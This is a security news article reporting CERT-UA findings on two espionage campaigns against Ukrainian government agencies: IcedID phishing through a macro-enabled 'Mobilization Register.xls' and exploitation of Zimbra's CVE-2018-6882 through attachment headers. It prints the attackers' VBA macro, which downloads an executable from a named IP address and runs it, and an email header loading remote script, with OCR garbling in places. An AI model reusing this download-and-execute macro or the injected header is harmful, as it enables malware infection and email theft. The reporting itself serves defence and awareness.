Hackers target Ukrainian govt with IcedID malware,
Zimbra exploits
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Hackers are targeting Ukrainian government agencies with new attacks exploiting Zimbra
exploits and phishing attacks pushing the IcedID malware.

The Computer Emergency Response Team of Ukraine (CERT-UA) detected the new
campaigns and attributed the IcedID phishing attack to the UAC-0041 threat cluster,
previously connected with AgentTesla distribution, and the second to UAC-0097, a currently
unknown actor.

Although attributions are moderately confident, this is another snapshot of the malicious
cyber-activity targeting Ukrainian entities.

In both cases, the goal of the threat actors is to gain access to internal networks to perform
cyber-espionage on Ukraine's most critical government agencies.

IcedID infecting state orgs

The first report describes a campaign distributing XLS documents named "Mobilization
Register.xls," reaching many recipients.

Opening the document requests the user to "Enable the Content" for viewing, resulting in a
malicious macro executing to download and run a malicious file.

This file is the GzipLoader malware, which fetches, decrypts, and executes the final payload,
IcedID (aka BankBot).

IcedID is a modular banking trojan that can be used for stealing account credentials or as a
loader of additional, second-stage malware such as Cobalt Strike, ransomware, wipers, and
more.
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Sub Workbook_Open ()
Application.ScreenUpdating = False
Dim xHttp: Set peudjntzevy = CreateObject (oybxlgihnpvypor ("4d6963726£736£6674 ") & oybxlqihnpvyp

Dim bStrm: Set nzioxxa = CreateObject (oybxlqihnpvypor (*41646£6462%) & oybxlgibnpvypor ("2e53747265616d"))

peudjntzevy.Send

Dim lexczwl As String

lexczwl = Environ("AppData”)

With nzioxxa

.Type = 1

.Cpen

.write peudjntzevy.responseBody

.savetofile lexczwl & oybxlgihnpvypor("5c736c68") & oybxlgihnpvypor ("6b2e657865%), 2
End With

Shell (lexczwl & oybxlgihnpwypor("5c73") & oybxlqihmpvypor("6c696b2e€57865"))
Application.ScreenUpdating = True

End Sub
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peudjntzevy.Open oybxlgihnpvypor ("474554"), oybxlgihnpvypor ("687474703a2£2£3136382e3130302e382e3432") & oybxlgihnpvypor ("2£6d6963726£2e657865"), False

Sub Workbook Open()
Application.ScreenUpdating =
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Dim bStrm: Set ecxtnnvma = CreateObject("Adodb.Stream")
jgccsmkbfbunzevjs.Open "GET", "http://168.100.8.42/spisok.exe", False
Dim leicqooi As String

leicqooi =
With ecxtnnvma

Type = 1

.Open

.write jgccsmkbfbunzevjs.responseBody
.savetofile leicqooi & "\runsx.exe", 2
End With
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Details from the IcedID campaign (CERT-UA)

Spying on government emails

The second report involves an email sent to government agencies in Ukraine, with attached
images allegedly from an event where President V. Zelensky awarded Armed Forces

members.
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From | |>i:r © Reply | % Reply All v | # Forward Morev

Subject Volodymyr Zelenskyy presented the Golden Star Orders to servicemen of the Armed Forces of Ukraine and members of the Families of the 12.04.22,
fallen Heroes of Ukraine

To | |¥

President of Ukraine Volodymyr Zelenskyy presented the Golden Star Orders to the servicemen of the Armed Forces of Ukraine who were awarded
the title of Hero of Ukraine and the members of the families of the servicemen who were posthumously awarded this title.

The ceremony took place at the Mariyinsky Palace in Kyiv.

"We are in the place where the leadership of our state met with the leaders of other states before the war. This place is called the White
Hall of the Mariyinsky Palace. I alse had meetings with many leaders of states whom this war showed as friends and partners or vice versa.

And from today I have the great honor to award the best here. You are the leaders for our state," said the President of Ukraine, addressing
the Heroes and members of their families.

He added that from now on this hall will be called the White Hall of Heroes of Ukraine and those who have been awarded the title of Hero of
Ukraine will be awarded here.

"1 am honored to see you here today. Unfortunately, I cannot see all those Heroes perished in the war, in the struggle for our independence
against the Russian Federation,"” the Head of State said.

"1 want to thank everyone. I want to thank those who are not here with us today. Who are on the frontline, defending our country from the
Russian occupier everyday," the President added.

v ) 7 attachments 1,0 MB B save All v

B - EP PN EE TR VT T R R P ey [V TS TR IR R B 14cb79c63a9b96287b860d1a849¢66F27048e59a.jpg 142 KB

B3 4f4a037c3abb5cdf6c239de6e7dT47c2ccddcabd jpg 136 KE 8 d1a917087eed4692175ecTba17f70e2372b0a546jpg 155 KB
B d3625bdbcae7a300dc1b70284084e17acealTeedjpg 157 KE M ced96e0121377f49d2170b2bef2e5a7459f81161.jpg 138 KB
B d9cas28be13a6b303f9ce809f163d815012a0cd7 jpg 150 KB

------ = Part 2733 1240861766.1649238081347 CVE-2018-6882
- ; _image/jpeg; name=1585232ce949ael1505e8df0f834712elb79cbbbb. jpg
ontent-Location:] https://W [0f834712e1b79cbbbb. jpg’

|Isrc="https://cdn.jsdelivr.net/gh/sukaut/beta@main/junit.js’]

Content-Disposition: attachment;
filename=1585232ce949ae1505e8df0f834712e1b79c6b6b.jpg
Content-Transfer-Encoding: base64

Email with malicious jpg attachments (CERT-UA)
The attached images contain a content-location header that links to a web resource hosting
JavaScript code that triggers the exploitation of the Zimbra CVE-2018-6882 vulnerability.

This cross-site scripting vulnerability affects Zimbra Collaboration Suite versions 8.7 and
older, enabling remote attackers to inject arbitrary web script or HTML via a content-location
header in email attachments.

Zimbra is an email and collaboration platform that also includes instant messaging, contacts,
video conferencing, file sharing, and cloud storage capabilities.

In this case, exploiting the flaw adds a forwarding rule for the victim's emails to a new
address under the threat actor's control, which is clearly an espionage-supporting move.
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Setting Zimbra to forward victim's emails (CERT-UA)
It is worth noting that Zimbra had a similar XSS problem earlier this year, affecting the most
recent 8.8.15 P29 & P30 versions of the suite.

That flaw was actively exploited as a zero-day by Chinese threat actors who used it to steal
the emails of European media and government organizations.

As such, CERT-UA advises all organizations in Ukraine using Zimbra to update to the latest
available versions of the suite immediately.
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Bill Toulas is a technology writer and infosec news reporter with over a decade of experience
working on various online publications. An open source advocate and Linux enthusiast, is

currently finding pleasure in following hacks, malware campaigns, and data breach incidents,
as well as by exploring the intricate ways through which tech is swiftly transforming our lives.
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